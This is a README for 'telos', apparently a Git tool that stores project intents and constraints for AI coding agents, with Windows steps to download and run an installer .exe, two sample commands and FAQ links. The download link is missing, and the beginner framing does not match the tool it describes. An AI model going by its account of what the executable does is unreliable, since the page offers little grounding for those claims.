telos is a tool that helps you track your work ideas and rules while using Git. It acts as a memory layer for your coding projects. This lets AI tools better understand and manage your code changes. You don’t need to know programming to use telos. It works quietly in the background to keep your coding process organized.
Before you start, make sure your computer meets these needs:
- Windows 10 or later (64-bit)
- At least 4 GB of free disk space
- Internet connection for downloading and updates
- Basic user rights to install software
telos is built to run smoothly on normal personal computers without special settings.
Follow these steps to download and run telos on your Windows machine.
Click the big green button below or go straight here:
This page lists all recent versions of telos available for download.
- On the releases page, look for the most recent release, usually at the top.
- Find the file named similar to
telos-windows-x64.exeor something withwindowsand.exe. - Click on that file to start downloading.
- Once the download finishes, open the folder where the file saved (usually
Downloads). - Double-click the
.exefile. - If Windows asks, click “Run” to allow the program to start.
- The installer will guide you through simple screens.
- You can keep the default options.
- Click “Next” on each page.
- When done, click “Finish”.
telos will now be installed on your computer.
- Look for the telos icon on your desktop or in the Start menu.
- Double-click it to launch the application.
- telos opens a command window or interface.
- You can start managing your Git intents and constraints right away.
telos tracks what you want to do and the rules you set for your code changes. It remembers these details for later use. If you use AI coding helpers, telos helps them access this memory to better support you.
Some key terms:
- Intent: What you plan to do with your code.
- Constraint: Rules or limits you set to keep changes safe.
- Memory: Stored information about your work instructions.
- AI Agent: Automated helpers that use this information.
telos runs quietly and manages these for you without extra setup.
- Organizes project goals and rules clearly
- Stores information you give it for future use
- Works directly with Git, the popular coding tool
- Helps AI agents understand your coding plans
- Simple interface for beginners
- Command line support for users who want more control
- Built with fast and safe Rust technology
telos pairs with your existing Git projects. You do not have to change how you work with Git. Once installed, telos listens to your Git commands and tracks the intent behind your changes.
To use telos:
- Open a command prompt (type “cmd” in Windows search)
- Navigate to your project folder (use
cdcommand) - Run telos commands to view or update your project intents
For example:
telos intent add "Fix login issue"telos constraint add "Do not change user passwords"
These are simple commands that telos uses to remember your instructions.
Yes, telos works alongside Git. Make sure Git is installed on your computer. Download Git from https://git-scm.com if you don’t have it.
Yes. Go to Windows Settings > Apps, find telos, and click uninstall.
Yes. You can download and use telos without any cost.
Visit the issues page on the GitHub repository: https://github.com/alifaroq482/telos/issues
Explore more about telos’s features, development, and updates here:
https://github.com/alifaroq482/telos